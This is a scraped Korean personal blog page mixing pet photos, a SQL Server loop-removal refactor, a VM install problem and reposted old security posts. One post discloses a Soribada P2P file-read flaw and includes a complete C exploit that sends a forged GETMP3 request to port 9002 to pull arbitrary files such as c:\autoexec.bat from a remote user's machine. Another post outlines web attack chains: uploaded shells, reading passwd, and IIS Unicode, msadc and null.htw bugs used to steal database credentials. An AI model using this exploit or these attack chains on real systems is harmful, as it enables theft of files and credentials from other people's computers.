Pleasure resort of Gleam™

집에서 나오는데.. 별이 솔이가 귀여운짓을 해서 한컷


E-500 | 1/10sec | F/3.5 | 54.0mm | ISO-100 | 0000:00:00 00:00:00

E-500 | 1/4sec | F/3.5 | 41.0mm | ISO-100 | 0000:00:00 00:00:00

E-500 | 1/4sec | F/3.5 | 45.0mm | ISO-100 | 0000:00:00 00:00:00

E-500 | 1/3sec | F/3.5 | 29.0mm | ISO-100 | 0000:00:00 00:00:00

E-500 | 1/3sec | F/4.5 | 28.0mm | ISO-100 | 0000:00:00 00:00:00




#1. 지들 사진찍는다고 놀다말고 쳐다보고 있는...;;
#2. 간만에 급하게 사진찍었더니 잘 안나온다. ㅠ.ㅠ

Comment +3

While Loop를 사용하는 아래와 같은 쿼리가 있다.
(원래 Cursor를 사용 하던 쿼리였다.)
     SET NOCOUNT ON;
    SET XACT_ABORT ON;

    BEGIN TRAN                                                                              -- 트랜잭션 시작

    DECLARE @RegUser                 CHAR(8)
        SET @RegUser='20070073'

    DECLARE @iCnt                   INT             -- Loop 변수
          , @iTotalCnt              INT             -- 전체 데이터 수
          , @sPrevColGrp            VARCHAR(30)
     SELECT @iCnt=0, @iTotalCnt=0, @sPrevColGrp=''

    -- 임시 테이블 선언
    DECLARE @tbTmp TABLE (
        Idx                         INT             IDENTITY(1,1)
       ,ColGrp                      INT
       ,Col01                       VARCHAR(30)
       ,Col02                       VARCHAR(30)
       ,Col03                       VARCHAR(30)
       ,RegDate                     DATETIME        DEFAULT(GETDATE())
    )
    DECLARE @tbTmp2 TABLE (
        ColGrp                     INT
       ,ColGrpSeq                  INT
       ,RegDate                    DATETIME        DEFAULT(GETDATE())
    )

    INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq) VALUES ('1', 5477)
    INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq) VALUES ('2', 8901)
    INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq) VALUES ('3', 9901)



    INSERT INTO @tbTmp (ColGrp, Col01, Col02, Col03)
    SELECT *
      FROM (
            SELECT '1' AS ColGrp, 'Col01_1' AS Col01, '' AS Col02, '' AS Col03
            UNION
            SELECT '2' AS ColGrp, 'Col01_2' AS Col01, '' AS Col02, '' AS Col03
            UNION
            SELECT '2' AS ColGrp, 'Col01_3' AS Col01, '' AS Col02, '' AS Col03
            UNION
            SELECT '3' AS ColGrp, 'Col01_4' AS Col01, '' AS Col02, '' AS Col03
            UNION
            SELECT '3' AS ColGrp, 'Col01_5' AS Col01, '' AS Col02, '' AS Col03
           ) A

    SELECT @iTotalCnt=COUNT(*) FROM @tbTmp                                                  -- 선택된 항목의 COUNT

    WHILE (@iTotalCnt>@iCnt)                                                                -- Loop 시작
    BEGIN
        SET @iCnt = @iCnt+1                                                                 -- Loop count 증가
        PRINT ('@iTotalCnt is ' + CAST(@iTotalCnt AS VARCHAR) + ', @iCnt is ' + CAST(@iCnt AS VARCHAR))

        IF (((SELECT ColGrp FROM @tbTmp WHERE Idx=@iCnt) <> @sPrevColGrp) OR (@sPrevColGrp = ''))
        BEGIN
            SELECT @sPrevColGrp = ColGrp FROM @tbTmp WHERE Idx=@iCnt

                INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq)
                SELECT A.ColGrp, (MAX(B.ColGrpSeq)+1) AS ColGrpSeq
                  FROM @tbTmp A
                  JOIN @tbTmp2 B
                    ON A.ColGrp = B.ColGrp
                 WHERE A.Idx =@iCnt
              GROUP BY A.ColGrp


            UPDATE @tbTmp
               SET Col02 =  A.Col01 + '_' + CAST(ISNULL( (SELECT MAX(ColGrpSeq) FROM @tbTmp2 WHERE ColGrp = A.ColGrp) , 1) AS VARCHAR)
              FROM @tbTmp A
             WHERE A.Idx>=@iCnt
        END

        UPDATE @tbTmp
           SET Col03 = (
                    A.Col01 + '_' + Col02 +'_' + CAST(Idx AS VARCHAR)
               )
          FROM @tbTmp A
         WHERE A.Idx=@iCnt
    END

    SELECT * FROM @tbTmp
    SELECT * FROM @tbTmp2
    ROLLBACK TRAN

원본 쿼리 실행 결과

원본 쿼리 실행 결과

원본 쿼리 통계

원본 쿼리 통계


이 쿼리에서 Loop를 제거하고 아래와 같이 만들었다.
    SET NOCOUNT ON;
    SET XACT_ABORT ON;
    BEGIN TRAN

    DECLARE @RegUser                 CHAR(8)
        SET @RegUser='20070073'

    DECLARE @iCnt                   INT             -- Loop 변수
          , @iTotalCnt              INT             -- 전체 데이터 수
          , @sPrevColGrp            VARCHAR(30)
     SELECT @iCnt=0, @iTotalCnt=0, @sPrevColGrp=''

    -- 임시 테이블 선언
    DECLARE @tbTmp TABLE (
        Idx                         INT             IDENTITY(1,1)
       ,ColGrp                      INT
       ,Col01                       VARCHAR(30)
       ,Col02                       VARCHAR(30)
       ,Col03                       VARCHAR(30)
       ,RegDate                     DATETIME        DEFAULT(GETDATE())
    )
    DECLARE @tbTmp2 TABLE (
        ColGrp                     INT
       ,ColGrpSeq                  INT
       ,RegDate                    DATETIME        DEFAULT(GETDATE())
    )

        INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq) VALUES ('1', 5477)
        INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq) VALUES ('2', 8901)
        INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq) VALUES ('3', 9901)



        INSERT INTO @tbTmp (ColGrp, Col01, Col02, Col03)
        SELECT *
          FROM (
                SELECT '1' AS ColGrp, 'Col01_1' AS Col01, '' AS Col02, '' AS Col03
                UNION
                SELECT '2' AS ColGrp, 'Col01_2' AS Col01, '' AS Col02, '' AS Col03
                UNION
                SELECT '2' AS ColGrp, 'Col01_3' AS Col01, '' AS Col02, '' AS Col03
                UNION
                SELECT '3' AS ColGrp, 'Col01_4' AS Col01, '' AS Col02, '' AS Col03
                UNION
                SELECT '3' AS ColGrp, 'Col01_5' AS Col01, '' AS Col02, '' AS Col03
               ) A

        SELECT @iTotalCnt=COUNT(*) FROM @tbTmp                                                  -- 선택된 항목의 COUNT

        INSERT INTO @tbTmp2 (ColGrp, ColGrpSeq)
        SELECT A.ColGrp, (MAX(B.ColGrpSeq)+1) AS ColGrpSeq
          FROM @tbTmp A
          JOIN @tbTmp2 B
            ON A.ColGrp = B.ColGrp
      GROUP BY A.ColGrp

        UPDATE @tbTmp
           SET Col02 =  A.Col01 + '_' + CAST(ISNULL( (SELECT MAX(ColGrpSeq) FROM @tbTmp2 WHERE ColGrp = A.ColGrp) , 1) AS VARCHAR)
          FROM @tbTmp A
         WHERE A.Idx>=@iCnt

        UPDATE @tbTmp
           SET Col03 = (
                    A.Col01 + '_' + Col02 +'_' + CAST(Idx AS VARCHAR)
               )
          FROM @tbTmp A


        SELECT * FROM @tbTmp
        SELECT * FROM @tbTmp2
    ROLLBACK TRAN


수정된 쿼리 실행 결과

수정된 쿼리 실행 결과

수정된 쿼리 통계

수정된 쿼리 통계



딱 봐도 속도가 많이 빨라졌다...ㅋ

Comment +0

http://ansys.tistory.com/entry/jQuery-Intellisense-in-Visual-Studio-2008

Comment +0


NTFAQ DNS FAQ

Comment +0


내 웹 서비스에 얼마나 많은 사용자가 접속 하는가?

Comment +0


인터넷 붕괴의 기술적 원인 분석

Comment +0


IIS Lock Down과 URL Scan

Comment +0

.. 이번엔 SSL 의 허와실이 아닌 실과허를 알아보겠습니다.
SSL 이란 Secure Socket Layer 의 약자로 웹에서 클라이언트와
서버가 정보를 주고 받을때 데이터를 암호화하여 전송하는 것을
말합니다. SSL 을 사용하면 해커가 패킷을 엿보게 되더라도 암호화되어
있어서 가지고 있어봤자 소용이 없습니다.

SSL 의 목적은 무엇일까요? SSL 그 자체는 서버의 보안성에 한단계
높이는 일을 하진 않습니다. 방화벽같이 특정 패킷을 차단하지도 않고
IDS 처럼 감시하지도 않죠.

단지, 해커가 사용자와 서버 사이의 데이터 패킷을 엿보는 것이 가능할때
엿보더라도 암호화 되어 있어서 아무것도 알수 없도록 하는 것이죠.

하지만 이 방법에는 약점이 있습니다. 보통 우리가 SSL 을 사용할때는
처음 로그인시에 ID 와 PASSWORD 를 확인할때만 주로 쓰이게 됩니다.
왜 전체에다가 SSL 을 쓰지 않냐면 속도도 느려질뿐만 아니라 감춰야 하는
데이터중 가장 큰 것은 password 같은 민감한 부분이기 때문입니다.

보안 접속과 일반 접속은 별 차이가 없습니다. 접속할때 전송하는 패킷이
암호화 되어있느냐 안되어있느냐에 차이가 있는 것이지 인증이 완료
된후에 클라이언트에 세팅하는 쿠키 값에는 보안 접속이나 일반 접속이나
차이가 없다는 이야기죠. (뭐 굳이 차이점이 있다면 보안 접속의 쿠키에는
'나 보안 접속했다' 라는 명시를 할수 있는 쿠키를 새로 하나 추가해
준다는 것정도)

그럼 어디서 취약점이 발생하느냐.. 위에서 제가 말씀드렸죠. 한번 더
말하겠습니다..

SSL 은 해커가 사용자와 서버 사이의 데이터 패킷을 엿보는 것이 가능할때
엿보더라도 암호화 되어 있어서 아무것도 알수 없도록 하는 것이죠.

id 와 password 만 암호화된 패킷일 뿐이지 서버가 우리에게 세팅해주는
쿠키값같은 것들은 보안접속이나 일반 접속이나 똑같습니다. 즉, 해커는
쿠키값만 가지고 원하고자 하는 나쁜짓을 할 수 있으므로 암호화 되서
날라간 id, password 를 못봤다고 해서 아쉬울게 없다는 이야기입니다.
(쿠키를 가지고 하는 해킹에 대해서는 제가 다른 문서에서 이미 많이
설명을 하였습니다. 읽어보시길..)

이런 방법의 보안 접속은 겉포장만 잘 쌓여져 있는 것입니다.. 앞으로
많은 체계 개선이 필요할 것입니다.

주로 메일 서비스를 하는 곳에서 이러한 취약성이 드러나 있습니다.

그럼 이만.. 모두 빠빠이.. 아.. 이제 자야지..

Comment +0

안녕하세요.

(먼저 이 문서를 보고 악의적인 행동을 할시에 일어나는 모든 행동은
저와 무관하다는 것을 명시함.)

소리바다의 취약점에 대해서 알아보겠습니다. 소리바다는 mp3 공유
프로그램으로 p2p 방식 입니다. peer to peer 로 사용자와 사용자를
연결하는 방식입니다.

소리바다를 사용시 진행되는 방식을 다음과 같습니다.

1. 소리바다 exe 프로그램 구동
2. 소리바다 로그인
3. 찾는 노래 키워드 검색
4. 소리바다에 연결된 다른 컴퓨터들한테 키워드 전송
5. 다른 컴퓨터들이 나에게 키워드에 맞는 정보를 보내줌
6. 정보를 토대로 다시 그 컴퓨터 접속하여 노래를 가져옴

이렇습니다.

예를 들어 우리가 A 컴퓨터를 이용하고 있고 TTL 이라는 노래를
검색한다고 하면 B 컴퓨터는 우리에게 TTL 에 맞는 정보를 보냅니다.

'나한테 TTL.mp3 가 있다. 이 파일은 c:\mp3\ttl.mp3 이고 파일 크기는
4000 이고 어쩌고 저쩌고 하다.'

우리는 이 정보를 토대로 다시 B 컴퓨터에 접속합니다.

'너의 c:\mp3\ttl.mp3 파일을 가지러 왔다. 내놔라'

이해를 쉽게하기 위해 실제로 우리가 B 컴퓨터 접속하여 어떻게
정보를 요청하는지 알아보겠습니다.

GETMP3
Filename: c:\mp3\ttl.mp3
PortM: 9004
Username: ffjfjfjfj

GETMP3 는 mp3 를 가져가겠단 의미이고 filename 은 경로입니다.
port 는 파일 전송에 이용할 포트를 뜻하는것 같고 username 은
소리바다 id 를 말합니다.

실질적으로 이런 내용이 전송되는 포트는 목적지 컴퓨터의 9002 포트
번호입니다. 소리바다를 실행하면 9002 포트가 열리게 되어있죠.

우리가 위와 같은 내용을 상대방에게 전달할때 Filename 을 임의로
조작한다면 우리가 원하는 파일을 가져올수 있습니다. 예를 들자면

GETMP3
Filename: c:\autoexec.bat
PortM: 9004
Username: ffjfjfjfj

이렇게 보내면 되겠죠?

위의 이야기를 보고 의문이 가시는 분도 있을 겁니다.

'그럼 검색키워드에 그냥 autoexec 로 검색하면 B 컴퓨터가
c:\autoexec.bat 파일의 정보를 나한테 보내주지 않나?'

아닙니다. 소리바다 설정 메뉴중 공유할 폴더를 선택하는 부분있죠?
그 폴더 안에 있는 것들중 mp3 만 검색을 하기 때문에 보내주지 않습니다.

이와 유사한 프로그램은 이런 류의 버그가 많습니다. 명령어 실행이라든지
여러가지를 조작할수가 있죠. 거의 모든 국내 프로그램들이 말이죠..
대단한 기술은 아니지만 해킹은 창의적이기 때문에 이런 간단한 방법으로도
해킹이 가능합니다.

exploit 을 같이 첨부하겠습니다. exploit 에서 쉘코드처럼 보이는 것은
쉘코드가 아니라 위에서 말한 GETMP3 이런 것들입니다. 그냥 고치기 귀찮
아서 패킷 그대로 옮겨적었습니다.. 소스가 굉장히 지저분합니다. 양해
해주세요. 만약 일반 txt 형 파일이 아닌 2 진 파일을 받을 경우에는
소스를 수정해야 할 겁니다. (exploit에 overflow 취약점이 있군요.. 캬캬)

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define PORT 9002
main (int argc, char *argv[]) {
char cmd[500]=
"\x47\x45\x54\x4d\x50\x33\x0d\x0a\x46\x69\x6c\x65\x6e\x61\x6d\x65\x3a\x20";
int sockfd, a=strlen(cmd), b, count, bbb;
char cmd2[]=
"\x0d\x0a\x50\x6f\x72\x74\x4d\x3a\x20\x39"
"\x30\x30\x34\x0d\x0a\x55\x73\x65\x72\x6e\x61\x6d\x65\x3a\x20"
"\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x61\x6b\x6e"
"\x0d\x0a\x0d\x0a";
char buf[1000];
struct hostent *he;
struct sockaddr_in their_addr;

if(argc<4) {
printf("usage: %s drivename filename targetip\n\n", argv[0]);
printf("ex> %s c autoexec.bat beist.org\n", argv[0]);
printf("ex2> %s c document\\haha.txt beist.org\n\n", argv[0]);
printf("made by beist. http://beist.org, beist@hanmail.net\n");
printf("the best cf model of korea is Eun-Kyung Im (TTL)\n");
printf("Wowcode Team in WOWhacker.com\n");
exit(-1);
}

if(strlen(argv[1]) >1) {
printf("드라이브 명을 정확히 입력하세요.\n");
exit(-1);
}

if ((he=gethostbyname(argv[3])) == NULL) {
herror("gethostbyname");
exit(1);
}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(PORT);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(their_addr.sin_zero), 8);
if (connect(sockfd, (struct sockaddr *)&their_addr, \
sizeof(struct sockaddr)) == -1) {
perror("connect");
exit(1);
}
cmd[a++]=argv[1][0];
cmd[a++]='\x3a';
cmd[a++]='\x5c';
b=strlen(argv[2]);
for(count=0;count<b;count++)
cmd[a++]=argv[2][count];
strcat(cmd, cmd2);
send(sockfd, cmd, strlen(cmd), 0);
recv(sockfd, buf, 1000, 0);
for(bbb=0;bbb<strlen(buf);bbb++)
printf("%c", buf[bbb]);
sleep(2);
recv(sockfd, buf, 1000, 0);
for(bbb=0;bbb<strlen(buf);bbb++)
printf("%c", buf[bbb]);
printf("당신이 보낸 명령어 : \n%s", cmd);
}

'ETC.' 카테고리의 다른 글

예전 자료 정리 - SSL의 허와 실  (0) 2009.02.15
예전 자료 정리 - 소리바다 취약점  (0) 2009.02.15
예전 자료 정리 - 웹 해킹의 유형  (0) 2009.02.15
삶이란……  (0) 2008.08.31

Comment +0


웹 해킹의 유형

(수정중인 작업이다.)

웹 해킹의 유형에 대해서 크게 나누어 보았다. 말 그대로 크게
나눈 것이고 실제로 웹 해킹에는 많은 변수가 있다. 상황마다 틀리다.
해킹은 창의성이 생명이다.

linux 일 경우
-1-
일단계. 게시판으로 파일을 업로드한다.
이단계. 업로드한 파일을 이용하여 자신의 컴퓨터로 term 을 display
시킨다.
삼단계. Nobody (주로 그렇다.) 권한의 쉘을 이용하여 로컬에서
루트 따는 것을 시도한다.

-2-
일단계. 버그를 가진 게시판을 이용해 passwd 파일을 보거나
중요 스크립트를 읽은 후 패스워드를 알아낸다.
이단계. 패스워드를 알아내면 할 수 있는 것들이 많아진다. 이를
이용하여 텀을 띄우기도 할 수가 있고, 페이지를 변경시킬
수도 있다.

-3-
일단계. 잘못된 cgi 스크립트를 찾는다.
이단계. 찾았다면 이를 이용해 passwd 파일을 보거나 중요 스크립트를
읽은 후 패스워드를 알아낸다.
삼단계. 패스워드를 알아내면 할 수 있는 것들이 많아진다. 이를
이용하여 텀을 띄우기도 할 수가 있고, 페이지를 변경시킬
수도 있다.

NT 일 경우
-1-
일단계. 유니코드 버그를 이용한다.
이단계. Asp 소스를 read 해 database 의 id 와 password 를 알아낸다.
삼단계. Database 에 연결해 내용을 조작할 수가 있다.

-2-
일단계. Null.htw 버그를 이용한다.
이단계. Asp 소스를 read 해 database 의 id 와 password 를 알아낸다.
삼단계. Database 에 연결해 내용을 조작할 수가 있다.

-3-
일단계. Msadc 버그를 이용한다.
이단계. Asp 소스를 read 해 database 의 id 와 password 를 알아낸다.
삼단계. Database 에 연결해 내용을 조작할 수가 있다.

-4-
일단계. 게시판을 이용하여 파일을 업로드한다.
이단계. 파일에서 여러가지 조작을 가해 트로이성 프로그램을 실행시킨다.
삼단계. 트로이성 프로그램의 기능을 이용하여 시스템을 제어할 수 있다.

-5-
일단계. %cc, +.htr 등을 이용한다
이단계. Asp 소스를 read 해 database 의 id 와 password 를 알아낸다.
삼단계. Database 에 연결해 내용을 조작할 수가 있다.

'ETC.' 카테고리의 다른 글

예전 자료 정리 - 소리바다 취약점  (0) 2009.02.15
예전 자료 정리 - 웹 해킹의 유형  (0) 2009.02.15
삶이란……  (0) 2008.08.31
Gleam™의 미투데이 - 2008년 3월 4일  (0) 2008.03.05

Comment +0

얼마전 부터 대부분의 작업을 VirtualMachine(이하 VM)에서 하고 있다.
VM을 사용하는것이 편하다.
사용하고 있는 메인 OS(Operating System)을 바꾸기도 쉽고, 용도별로 VM을 만들어 두면 프로그램간에 충돌도 적고...
어쨌든...

새로 옮긴 회사의 업무상 Visual Studio 2005(이하 VS2K5)를 사용할 일이 있어서...
열심히 W7(Windows 7) VM에 VS 2005를 설치했다.

그리고 재부팅.. SP1이 있는것을 알기에 Windows Update를 실행하고, 업데이트 설치...

600

작업표시줄 하단의 작업관리자 아이콘을 보라. CPU사용률이 알흠답지 아니한가?


몇번을 다시해도 결과는 같다.
설치 실패 화면
설치 실패 이벤트 로그 1
설치 실패 이벤트 로그 2


설치 로그 화일


쩝...
이게 W7이 Beta라서 그런건지...
아님 VM이라서 그런건지...
혹은 VM의 메모리를 넘 적게 할당해서 그런건지 알수가 없다.

머가 문젤까나??


현재 VM 설정 상태.

VM 설정 1
VM 설정 2

1

  • 박성준 2010.01.26 13:39 신고

    Windows Vista & Windows 7은 아래 서비스팩을 설치하세요...
    도움이 되시길....

    http://www.microsoft.com/downloads/details.aspx?FamilyID=90e2942d-3ad1-4873-a2ee-4acc0aace5b6&displaylang=ko

간만에 스킨 변경

Diary2009.02.12 14:06

간만에 블로그 스킨 변경.
역시나 깔끔한걸로...


회사 옮기고.. 정신 없이 지내고 있음...
점시먹고, 일은 하기 싫고...
뒷자리에 팀장님이 보면 또 머라 할텐데.. ㅋ

'Diary' 카테고리의 다른 글

개발자와 야근... -_-;;  (5) 2010.08.27
간만에 스킨 변경  (0) 2009.02.12
WIndows 7  (0) 2009.01.16
강남... 그리고 경제..  (0) 2008.12.14

Comment +0